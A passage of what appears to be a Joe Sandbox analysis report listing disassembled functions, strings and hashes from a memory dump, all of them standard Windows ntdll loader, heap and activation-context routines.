Uniqueness Score: -1.00%

Function 01AC8B42 Relevance: 12.6, Strings: 10, Instructions: 146COMMON

Download Yara Rule

Strings

runtimebroker.exe, xrefs: 01AC8B73
smss.exe, xrefs: 01AC8B8B
services.exe, xrefs: 01AC8B96
DefaultBrowser_NOPUBLISHERID, xrefs: 01AC8D00
svchost.exe, xrefs: 01AC8B68
SegmentHeap, xrefs: 01AC8BE9
heapType, xrefs: 01AC8BCB
lsass.exe, xrefs: 01AC8BA1
http://schemas.microsoft.com/SMI/2020/WindowsSettings, xrefs: 01AC8BD0
csrss.exe, xrefs: 01AC8B80

Memory Dump Source

Source File: 00000002.00000002.2063166629.00000000019F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 019F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_19f0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID: DefaultBrowser_NOPUBLISHERID$SegmentHeap$csrss.exe$heapType$http://schemas.microsoft.com/SMI/2020/WindowsSettings$lsass.exe$runtimebroker.exe$services.exe$smss.exe$svchost.exe
API String ID: 0-2515994595
Opcode ID: 851b6fd72a6c58d621b5ec9387719bcf052f7d28006e08b55966995b25a89a1c
Instruction ID: be6522670f0b9bae5d40ebb4bed7b1c86c93acd1e3ba187e8865a0df930afdf2
Opcode Fuzzy Hash: 851b6fd72a6c58d621b5ec9387719bcf052f7d28006e08b55966995b25a89a1c
Instruction Fuzzy Hash: 0251C071518311AFD32ACF59C984BABBBECFF94A50F14491DEA59C3240E778D608CB92

Uniqueness

Uniqueness Score: -1.00%

Function 01AD0274 Relevance: 10.3, Strings: 8, Instructions: 348COMMON

Download Yara Rule

Strings

Invalid allocation size - %Ix (exceeded %Ix), xrefs: 01AD06EA
Just reallocated block at %p to 0x%Ix bytes with tag %ws, xrefs: 01AD069F
RtlReAllocateHeap, xrefs: 01AD02BF, 01AD0362
About to reallocate block at %p to %Ix bytes, xrefs: 01AD03BA
HEAP[%wZ]: , xrefs: 01AD0399, 01AD04A8, 01AD05D0, 01AD0675, 01AD06CC
About to rellocate block at %p to 0x%Ix bytes with tag %ws, xrefs: 01AD04D3
Just reallocated block at %p to %Ix bytes, xrefs: 01AD05F1
HEAP: , xrefs: 01AD03A6, 01AD04B5, 01AD05DD, 01AD0682, 01AD06D9

Memory Dump Source

Source File: 00000002.00000002.2063166629.00000000019F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 019F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_19f0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID: About to reallocate block at %p to %Ix bytes$About to rellocate block at %p to 0x%Ix bytes with tag %ws$HEAP: $HEAP[%wZ]: $Invalid allocation size - %Ix (exceeded %Ix)$Just reallocated block at %p to %Ix bytes$Just reallocated block at %p to 0x%Ix bytes with tag %ws$RtlReAllocateHeap
API String ID: 0-1700792311
Opcode ID: cb138a1902be9502d0a2f3306913840a58cbd490a24ded3c63b6252ddee36fba
Instruction ID: 0b43fce2c4a5e009baf92ce1fb5793f47f918f939dcb270b7c3790e272918a2a
Opcode Fuzzy Hash: cb138a1902be9502d0a2f3306913840a58cbd490a24ded3c63b6252ddee36fba
Instruction Fuzzy Hash: 96D10135600A86EFDB22DF68C640AAEBFF2FF49710F598059F9869B252C734D941CB14

Uniqueness

Uniqueness Score: -1.00%

Function 01AA89B3 Relevance: 9.0, Strings: 7, Instructions: 259COMMON

Download Yara Rule

Strings

AVRF: %ws: pid 0x%X: flags 0x%X: application verifier enabled, xrefs: 01AA8A3D
AVRF: %ws: pid 0x%X: application verifier will be disabled due to an initialization error., xrefs: 01AA8A67
AVRF: -*- final list of providers -*- , xrefs: 01AA8B8F
VerifierFlags, xrefs: 01AA8C50
HandleTraces, xrefs: 01AA8C8F
VerifierDebug, xrefs: 01AA8CA5
VerifierDlls, xrefs: 01AA8CBD

Memory Dump Source

Source File: 00000002.00000002.2063166629.00000000019F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 019F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_19f0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID: AVRF: %ws: pid 0x%X: application verifier will be disabled due to an initialization error.$AVRF: %ws: pid 0x%X: flags 0x%X: application verifier enabled$AVRF: -*- final list of providers -*- $HandleTraces$VerifierDebug$VerifierDlls$VerifierFlags
API String ID: 0-3223716464
Opcode ID: 3fc48e35032ecfa7a372ed53443c5fc47e30f14d95feb8cc9cd27aaa78dfe9f5
Instruction ID: 72eeaaa4c9fef8d7adb5d40b19903fd224810e4b6da8eed5cde4c7f2fd023805
Opcode Fuzzy Hash: 3fc48e35032ecfa7a372ed53443c5fc47e30f14d95feb8cc9cd27aaa78dfe9f5
Instruction Fuzzy Hash: F9914572645302EFD332EF68C980B6BB7A8BB95714FC60458FA456B244C778AD04CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 01A2EA80 Relevance: 8.6, Strings: 6, Instructions: 1073COMMON

Download Yara Rule

Strings

LdrpResSearchResourceInsideDirectory Exit, xrefs: 01A2EB6C
, xrefs: 01A2F299
R, xrefs: 01A2EB62
LdrpResSearchResourceInsideDirectory Enter, xrefs: 01A2EB58
T, xrefs: 01A2EB4E
{, xrefs: 01A84643

Memory Dump Source

Source File: 00000002.00000002.2063166629.00000000019F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 019F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_19f0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID: $LdrpResSearchResourceInsideDirectory Enter$LdrpResSearchResourceInsideDirectory Exit$R$T${
API String ID: 0-1109411897
Opcode ID: 069b547fe2513e21c8d1e7e8e61566cb0c68ed4ee2e3ff19827b8ff451fb3b7e
Instruction ID: d70f9c956157215f20b451ea6fc4bc0c324cab894550bd9e08d22c55b6e15103
Opcode Fuzzy Hash: 069b547fe2513e21c8d1e7e8e61566cb0c68ed4ee2e3ff19827b8ff451fb3b7e
Instruction Fuzzy Hash: D3A24974A0562A8FDB64DF1CCD987A9BBB5AF49304F2442E9D90DA7251DB309EC4CF40

Uniqueness

Uniqueness Score: -1.00%

Function 01A563FF Relevance: 7.8, Strings: 6, Instructions: 261COMMON

Download Yara Rule

Strings

Delaying execution failed with status 0x%08lx, xrefs: 01A94258
Process initialization failed with status 0x%08lx, xrefs: 01A9413A
_LdrpInitialize, xrefs: 01A940DF, 01A94141, 01A94205, 01A9425F
minkernel\ntdll\ldrinit.c, xrefs: 01A940E9, 01A9414B, 01A9420F, 01A94269
NtWaitForSingleObject failed with status 0x%08lx, fallback to delay loop, xrefs: 01A941FE
LDR:MRDATA: Process initialization failed with status 0x%08lx, xrefs: 01A940D8

Memory Dump Source

Source File: 00000002.00000002.2063166629.00000000019F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 019F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_19f0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID: Delaying execution failed with status 0x%08lx$LDR:MRDATA: Process initialization failed with status 0x%08lx$NtWaitForSingleObject failed with status 0x%08lx, fallback to delay loop$Process initialization failed with status 0x%08lx$_LdrpInitialize$minkernel\ntdll\ldrinit.c
API String ID: 0-792281065
Opcode ID: a5c9b61e26c0633d3a12ccd627ef92113f58419fac0d377e1fb789340e8e659e
Instruction ID: d41c74300654e5be79b43ac1632a896d33f71981a3ea2030b0f400e2e443f10f
Opcode Fuzzy Hash: a5c9b61e26c0633d3a12ccd627ef92113f58419fac0d377e1fb789340e8e659e
Instruction Fuzzy Hash: A3916970B043169BEF35DF18DB44BAA3FF1BF45B24F950169E9046B286D7749882C790

Uniqueness

Uniqueness Score: -1.00%

Function 01A1645D Relevance: 7.6, Strings: 6, Instructions: 150COMMON

Download Yara Rule

Strings

Building shim engine DLL system32 filename failed with status 0x%08lx, xrefs: 01A799ED
apphelp.dll, xrefs: 01A16496
LdrpInitShimEngine, xrefs: 01A799F4, 01A79A07, 01A79A30
minkernel\ntdll\ldrinit.c, xrefs: 01A79A11, 01A79A3A
Getting the shim engine exports failed with status 0x%08lx, xrefs: 01A79A01
Loading the shim engine DLL failed with status 0x%08lx, xrefs: 01A79A2A

Memory Dump Source

Source File: 00000002.00000002.2063166629.00000000019F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 019F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_19f0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID: Building shim engine DLL system32 filename failed with status 0x%08lx$Getting the shim engine exports failed with status 0x%08lx$LdrpInitShimEngine$Loading the shim engine DLL failed with status 0x%08lx$apphelp.dll$minkernel\ntdll\ldrinit.c
API String ID: 0-204845295
Opcode ID: afaec66de7d83b02b1006b1271e90a0f1cf444b8974f33987b1ed3fbaef2f98e
Instruction ID: 7bb003927b2aa2208ed67060e3db8012abfdd3908abf26c09e6c842620b9599c
Opcode Fuzzy Hash: afaec66de7d83b02b1006b1271e90a0f1cf444b8974f33987b1ed3fbaef2f98e
Instruction Fuzzy Hash: F051D071208301AFE721EF24DD81FAB77E4FB84668F44091EF589971A4DB70EA45CB92

Uniqueness

Uniqueness Score: -1.00%

Function 01A5C6A6 Relevance: 7.6, Strings: 6, Instructions: 110COMMON

Download Yara Rule

Strings

minkernel\ntdll\ldrredirect.c, xrefs: 01A98181, 01A981F5
LdrpInitializeProcess, xrefs: 01A5C6C4
minkernel\ntdll\ldrinit.c, xrefs: 01A5C6C3
Loading import redirection DLL: '%wZ', xrefs: 01A98170
LdrpInitializeImportRedirection, xrefs: 01A98177, 01A981EB
Unable to build import redirection Table, Status = 0x%x, xrefs: 01A981E5

Memory Dump Source

Source File: 00000002.00000002.2063166629.00000000019F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 019F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_19f0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID: LdrpInitializeImportRedirection$LdrpInitializeProcess$Loading import redirection DLL: '%wZ'$Unable to build import redirection Table, Status = 0x%x$minkernel\ntdll\ldrinit.c$minkernel\ntdll\ldrredirect.c
API String ID: 0-475462383
Opcode ID: e5d68db10ef17b153ac67557dd6a985fd472d8582af102cb13ea08ebafd824ab
Instruction ID: e327d6704ff4b25a685a183ea9607ac37f1558226db12b8f52e13106230b50e3
Opcode Fuzzy Hash: e5d68db10ef17b153ac67557dd6a985fd472d8582af102cb13ea08ebafd824ab
Instruction Fuzzy Hash: 1E312371648306AFD720EF28EA46E1A77E4FFD5B20F040558F944AB295E760EC04C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 01A52674 Relevance: 7.6, Strings: 6, Instructions: 110COMMON

Download Yara Rule

Strings

RtlGetAssemblyStorageRoot, xrefs: 01A92160, 01A9219A, 01A921BA
SXS: RtlGetAssemblyStorageRoot() unable to get activation context data, storage map and assembly roster header. Status = 0x%08lx, xrefs: 01A92178
SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: AssemblyRosterIndex: 0x%lxSXS: AssemblyStorageRoot: %pSXS: Callback : %p, xrefs: 01A921BF
SXS: %s() bad parameters AssemblyRosterIndex 0x%lx >= AssemblyRosterHeader->EntryCount: 0x%lx, xrefs: 01A9219F
SXS: RtlGetAssemblyStorageRoot() unable to resolve storage map entry. Status = 0x%08lx, xrefs: 01A92180
SXS: %s() passed the empty activation context, xrefs: 01A92165

Memory Dump Source

Source File: 00000002.00000002.2063166629.00000000019F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 019F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_19f0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID: RtlGetAssemblyStorageRoot$SXS: %s() bad parameters AssemblyRosterIndex 0x%lx >= AssemblyRosterHeader->EntryCount: 0x%lx$SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: AssemblyRosterIndex: 0x%lxSXS: AssemblyStorageRoot: %pSXS: Callback : %p$SXS: %s() passed the empty activation context$SXS: RtlGetAssemblyStorageRoot() unable to get activation context data, storage map and assembly roster header. Status = 0x%08lx$SXS: RtlGetAssemblyStorageRoot() unable to resolve storage map entry. Status = 0x%08lx
API String ID: 0-861424205
Opcode ID: 3c2f3fdbe3219535a00457f0f4587bf6182332940420b92bcea92a4f1cc52095
Instruction ID: 1cc4b732e96e58e268a13e376633770587fd979bb2a3e6af3eaf5b1ecd66b55d
Opcode Fuzzy Hash: 3c2f3fdbe3219535a00457f0f4587bf6182332940420b92bcea92a4f1cc52095
Instruction Fuzzy Hash: 3531DB76F40315BBEB22DAD99C81F5B7BB8EB65B50F19405ABB04B7140D370AA40C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 01A6096E Relevance: 6.6, APIs: 4, Instructions: 606COMMON

Download Yara Rule

APIs

Part of subcall function 01A62DF0: LdrInitializeThunk.NTDLL ref: 01A62DFA

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 01A60BA3
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 01A60BB6
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 01A60D60
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 01A60D74

Memory Dump Source

Source File: 00000002.00000002.2063166629.00000000019F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 019F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_19f0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$InitializeThunk
String ID:
API String ID: 1404860816-0
Opcode ID: f954f36aab185a3f35839c8114c5b68b2e361c6f6d0470996e3cbd7d7a471137
Instruction ID: 00565b178458b06dbc95320e77ae7209200f97cb99c8c6606257dfcafb32721e
Opcode Fuzzy Hash: f954f36aab185a3f35839c8114c5b68b2e361c6f6d0470996e3cbd7d7a471137
Instruction Fuzzy Hash: 4A425D71900715DFDB21CF28C980BAAB7F9FF44314F1485AAE999DB241E770A985CF60

Uniqueness

Uniqueness Score: -1.00%

Function 01A2A3C0 Relevance: 5.3, Strings: 4, Instructions: 290COMMON

Download Yara Rule

Strings

LdrResFallbackLangList Enter, xrefs: 01A2A3EF
6, xrefs: 01A2A3F7
8, xrefs: 01A2A3E7
LdrResFallbackLangList Exit, xrefs: 01A2A3FF

Memory Dump Source

Source File: 00000002.00000002.2063166629.00000000019F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 019F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_19f0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID: 6$8$LdrResFallbackLangList Enter$LdrResFallbackLangList Exit
API String ID: 0-379654539
Opcode ID: 311adede86ad6e41c29bb576b6de38ab58a871ee28355ca1ea3d3e963f211beb
Instruction ID: 7e77f82ac5e9e8af61b1096c967af175fe48e93e38379a8ac948f3ec48378650
Opcode Fuzzy Hash: 311adede86ad6e41c29bb576b6de38ab58a871ee28355ca1ea3d3e963f211beb
Instruction Fuzzy Hash: 25C1A974208392CFD721DF6CC144B6ABBF4BF84304F08896AF9968BA51E334D949CB52

Uniqueness

Uniqueness Score: -1.00%

Function 01A58402 Relevance: 5.3, Strings: 4, Instructions: 263COMMON

Download Yara Rule

Strings

LdrpInitializeProcess, xrefs: 01A58422
@, xrefs: 01A58591
minkernel\ntdll\ldrinit.c, xrefs: 01A58421
\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers, xrefs: 01A5855E

Memory Dump Source

Source File: 00000002.00000002.2063166629.00000000019F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 019F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_19f0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID: @$LdrpInitializeProcess$\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers$minkernel\ntdll\ldrinit.c
API String ID: 0-1918872054
Opcode ID: 5e2b7d5c5f896945adbb9dbaddad57283352cdc4351ee35c61ce1bd8b467be5c
Instruction ID: 36aa9bb1ac1f3a9f4a9642802c8f43917c16342d1826c5d099f2776590475e7a
Opcode Fuzzy Hash: 5e2b7d5c5f896945adbb9dbaddad57283352cdc4351ee35c61ce1bd8b467be5c
Instruction Fuzzy Hash: 71919C71508345AFDB22EF26CD41FABBAECFF84654F40092EFA8492151E734D944CB62

Uniqueness

Uniqueness Score: -1.00%

Function 01A5273C Relevance: 5.2, Strings: 4, Instructions: 249COMMON

Download Yara Rule

Strings

SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: Peb : %pSXS: ActivationContextData: %pSXS: AssemblyStorageMap : %p, xrefs: 01A922B6
.Local, xrefs: 01A528D8
RtlpGetActivationContextDataStorageMapAndRosterHeader, xrefs: 01A921D9, 01A922B1
SXS: %s() passed the empty activation context, xrefs: 01A921DE

Memory Dump Source

Source File: 00000002.00000002.2063166629.00000000019F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 019F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_19f0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID: .Local$RtlpGetActivationContextDataStorageMapAndRosterHeader$SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: Peb : %pSXS: ActivationContextData: %pSXS: AssemblyStorageMap : %p$SXS: %s() passed the empty activation context
API String ID: 0-1239276146
Opcode ID: d1017446e4bd4d5ab7b3c7805a1e36e4b50f7bc16426ea63005842a38132a081
Instruction ID: d6df822d81c87a35ee99db9f8fb5478a3f395a887dd88fd2156b5d3136fe47de
Opcode Fuzzy Hash: d1017446e4bd4d5ab7b3c7805a1e36e4b50f7bc16426ea63005842a38132a081
Instruction Fuzzy Hash: 0EA19D35904229DBDF65CFA8D884BA9B7B5BF58354F2441EAE908AB351D7309EC0CF90

Uniqueness

Uniqueness Score: -1.00%

Function 01A54AD0 Relevance: 5.2, Strings: 4, Instructions: 228COMMON

Download Yara Rule

Strings

RtlDeactivateActivationContext, xrefs: 01A93425, 01A93432, 01A93451
SXS: %s() called with invalid flags 0x%08lx, xrefs: 01A9342A
SXS: %s() called with invalid cookie type 0x%08Ix, xrefs: 01A93437
SXS: %s() called with invalid cookie tid 0x%08Ix - should be %08Ix, xrefs: 01A93456

Memory Dump Source

Source File: 00000002.00000002.2063166629.00000000019F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 019F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_19f0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID: RtlDeactivateActivationContext$SXS: %s() called with invalid cookie tid 0x%08Ix - should be %08Ix$SXS: %s() called with invalid cookie type 0x%08Ix$SXS: %s() called with invalid flags 0x%08lx
API String ID: 0-1245972979
Opcode ID: 06c398556bbdb17dbfec5b9e15e99b02c4cff15cf16fdf705b875437c321dcbc
Instruction ID: e97a613f88d5e15c2c84ac77d397943342cf4c382bc6cae97478254fb564dc09
Opcode Fuzzy Hash: 06c398556bbdb17dbfec5b9e15e99b02c4cff15cf16fdf705b875437c321dcbc
Instruction Fuzzy Hash: BE6124366087129BDB22CF2DC841B2AB7F1BFD4B51F1A8519E9559B241E730EC81CB91

Uniqueness

Uniqueness Score: -1.00%

Function 01A264AB Relevance: 5.2, Strings: 4, Instructions: 211COMMON

Download Yara Rule

Strings

ThreadPool: callback %p(%p) returned with the loader lock held, xrefs: 01A81028
ThreadPool: callback %p(%p) returned with background priorities set, xrefs: 01A810AE
ThreadPool: callback %p(%p) returned with a transaction uncleared, xrefs: 01A80FE5
ThreadPool: callback %p(%p) returned with preferred languages set, xrefs: 01A8106B

Memory Dump Source

Source File: 00000002.00000002.2063166629.00000000019F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 019F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_19f0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID: ThreadPool: callback %p(%p) returned with a transaction uncleared$ThreadPool: callback %p(%p) returned with background priorities set$ThreadPool: callback %p(%p) returned with preferred languages set$ThreadPool: callback %p(%p) returned with the loader lock held
API String ID: 0-1468400865
Opcode ID: 903572dff380c486205a92203d0ddea0b4f9ef78604b2f698dd74403a6a23fd4
Instruction ID: 15d9f225dad98287bd26f7dcf3382720afd3081e9b25e8f2802f7a46cc16c31c
Opcode Fuzzy Hash: 903572dff380c486205a92203d0ddea0b4f9ef78604b2f698dd74403a6a23fd4
Instruction Fuzzy Hash: 1471E0B1905315AFCB21EF28C984B9B7FA8EF95764F440468FD488B24AD334D588CBD2

Uniqueness

Uniqueness Score: -1.00%

Function 01A4245A Relevance: 5.1, Strings: 4, Instructions: 111COMMON

Download Yara Rule

Strings

LdrpDynamicShimModule, xrefs: 01A8A998
apphelp.dll, xrefs: 01A42462
minkernel\ntdll\ldrinit.c, xrefs: 01A8A9A2
Getting ApphelpCheckModule failed with status 0x%08lx, xrefs: 01A8A992

Memory Dump Source

Source File: 00000002.00000002.2063166629.00000000019F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 019F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_19f0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID: Getting ApphelpCheckModule failed with status 0x%08lx$LdrpDynamicShimModule$apphelp.dll$minkernel\ntdll\ldrinit.c
API String ID: 0-176724104
Opcode ID: 705fd5c27ccee77f2e5f8653dca2569b7e4eb3eb6afabb65b9f79c497f57d362
Instruction ID: e3c6227bba599b8bf58deea7361d4ad7d51759b22b86a3bef2abc63d7d7e40a4
Opcode Fuzzy Hash: 705fd5c27ccee77f2e5f8653dca2569b7e4eb3eb6afabb65b9f79c497f57d362
Instruction Fuzzy Hash: F9314876600202EBDB31AF5DE985F6ABBF4FB84B14F97005BF910A7259D7B09881C780

Uniqueness

Uniqueness Score: -1.00%

Function 01A329A0 Relevance: 4.7, Strings: 3, Instructions: 966COMMON

Download Yara Rule

Strings

Unable to release memory at %p for %Ix bytes - Status == %x, xrefs: 01A3327D
HEAP[%wZ]: , xrefs: 01A33255
HEAP: , xrefs: 01A33264

Memory Dump Source

Source File: 00000002.00000002.2063166629.00000000019F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 019F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_19f0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID: HEAP: $HEAP[%wZ]: $Unable to release memory at %p for %Ix bytes - Status == %x
API String ID: 0-617086771
Opcode ID: 8254f2746026f0c5bb181f793a1dad6b1bb70cf12036381884da0d7c01feab67
Instruction ID: 0e4ff3d4a99a202440ef63df7d531f703141da8387d69d7284f1860911b5c998
Opcode Fuzzy Hash: 8254f2746026f0c5bb181f793a1dad6b1bb70cf12036381884da0d7c01feab67
Instruction Fuzzy Hash: E092BC71A082499FEF25CF68C5447AEBBF1FF88300F18805AE959AB392D735A945CF50

Uniqueness

Uniqueness Score: -1.00%

Function 01A30770 Relevance: 4.2, Strings: 3, Instructions: 414COMMON

Download Yara Rule

Strings

HEAP[%wZ]: , xrefs: 01A850AE
(UCRBlock->Size >= *Size), xrefs: 01A850CA
HEAP: , xrefs: 01A850BD

Memory Dump Source

Source File: 00000002.00000002.2063166629.00000000019F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 019F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_19f0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID: (UCRBlock->Size >= *Size)$HEAP: $HEAP[%wZ]:
API String ID: 0-4253913091
Opcode ID: 4074a83857ee3ebe4c334ed82e14c4e13c166e902c68b08b6598a622381c27a2
Instruction ID: 9041dfb7bdb173651a1ed576a19e415a222299eb31f8616a6260dae87d8a8bf0
Opcode Fuzzy Hash: 4074a83857ee3ebe4c334ed82e14c4e13c166e902c68b08b6598a622381c27a2
Instruction Fuzzy Hash: 4AF19D30A00606DFEB26DF68CA94B6AB7F5FF84304F148169F9569B391D734E981CB90

Uniqueness

Uniqueness Score: -1.00%

Function 01A46962 Relevance: 4.0, Strings: 2, Instructions: 1492COMMON

Download Yara Rule

Strings

@, xrefs: 01A46C24
, xrefs: 01A8CA51

Memory Dump Source

Source File: 00000002.00000002.2063166629.00000000019F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 019F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_19f0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID: $@
API String ID: 0-1077428164
Opcode ID: ad0f2451848dbc19fb3f170c539860a96daff1448c79fb7f67dd70b0dfef93bd
Instruction ID: 533f30ca873d5dd0a7e379ee38684faced5339ec4ee5db08124b8f8ec319f66e
Opcode Fuzzy Hash: ad0f2451848dbc19fb3f170c539860a96daff1448c79fb7f67dd70b0dfef93bd
Instruction Fuzzy Hash: A8C270716083819FEB25CF68C841BABBBE5AFC9754F04892DF989C7241D734D845CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 01A1A197 Relevance: 4.0, Strings: 3, Instructions: 238COMMON

Download Yara Rule

Strings

FilterFullPath, xrefs: 01A7C2E6
UseFilter, xrefs: 01A1A1C1
\??\, xrefs: 01A7C1E4

Memory Dump Source

Source File: 00000002.00000002.2063166629.00000000019F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 019F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_19f0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID: FilterFullPath$UseFilter$\??\
API String ID: 0-2779062949
Opcode ID: 6c3421baf2cce8a8dd85a310c921c04ef22d0ff0431275f51748e252daf307ab
Instruction ID: 721061159f511c517ec137b9b64d3098f05a8c5ecbf6a49c975c143fe6e052c9
Opcode Fuzzy Hash: 6c3421baf2cce8a8dd85a310c921c04ef22d0ff0431275f51748e252daf307ab
Instruction Fuzzy Hash: 07A16E7191122A9BDB31DF68CD88BEAB7B8EF44710F1001EAEA09A7250D7359F84CF50

Uniqueness

Uniqueness Score: -1.00%

Function 01A40BCB Relevance: 4.0, Strings: 3, Instructions: 210COMMON

Download Yara Rule

Strings

minkernel\ntdll\ldrinit.c, xrefs: 01A8A121
LdrpCheckModule, xrefs: 01A8A117
Failed to allocated memory for shimmed module list, xrefs: 01A8A10F

Memory Dump Source

Source File: 00000002.00000002.2063166629.00000000019F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 019F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_19f0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID: Failed to allocated memory for shimmed module list$LdrpCheckModule$minkernel\ntdll\ldrinit.c
API String ID: 0-161242083
Opcode ID: 168aa3c23269f92e12a06bbe8a534f66c86332ecd291bfa9ec91799c74ad6ac1
Instruction ID: ce54510248c122c29cfb155b515bc411bbf69f2151139c3513cbb0b7df029bcd
Opcode Fuzzy Hash: 168aa3c23269f92e12a06bbe8a534f66c86332ecd291bfa9ec91799c74ad6ac1
Instruction Fuzzy Hash: 6F71E171A00306DFDB25EF68CA80ABEB7F4FB84304F59406EE902D7251E774A942DB54

Uniqueness

Uniqueness Score: -1.00%

Function 01A30A5B Relevance: 3.9, Strings: 3, Instructions: 190COMMON

Download Yara Rule

Strings

((PHEAP_ENTRY)LastKnownEntry <= Entry), xrefs: 01A8534D
HEAP[%wZ]: , xrefs: 01A85335
HEAP: , xrefs: 01A85342

Memory Dump Source

Source File: 00000002.00000002.2063166629.00000000019F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 019F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_19f0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID: ((PHEAP_ENTRY)LastKnownEntry <= Entry)$HEAP: $HEAP[%wZ]:
API String ID: 0-1334570610
Opcode ID: c8db04e76f51010653311f7821eb8641d7b95a254494b031eae36704784daf4b
Instruction ID: b9c68d5e98896a3a8b9af2a2a2d298630a7ec8109adc641f99282f12818e5ace
Opcode Fuzzy Hash: c8db04e76f51010653311f7821eb8641d7b95a254494b031eae36704784daf4b
Instruction Fuzzy Hash: 1561BF70A003019FDB29DF28D650B6ABBF1FF85704F18855AF8998F296D770E881CB91

Uniqueness

Uniqueness Score: -1.00%

Function 01A5C720 Relevance: 3.9, Strings: 3, Instructions: 141COMMON

Download Yara Rule

Strings

Failed to reallocate the system dirs string !, xrefs: 01A982D7
minkernel\ntdll\ldrinit.c, xrefs: 01A982E8
LdrpInitializePerUserWindowsDirectory, xrefs: 01A982DE

Memory Dump Source

Source File: 00000002.00000002.2063166629.00000000019F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 019F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_19f0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID: Failed to reallocate the system dirs string !$LdrpInitializePerUserWindowsDirectory$minkernel\ntdll\ldrinit.c
API String ID: 0-1783798831
Opcode ID: 0d01a3d76104193961d512d1b882630f6ccbef02b6e904a61fecd3c8c7ef0998
Instruction ID: 847ce6c15335a863037f9d548920a71e718fc6a3dbde04d0152aa4001e364277
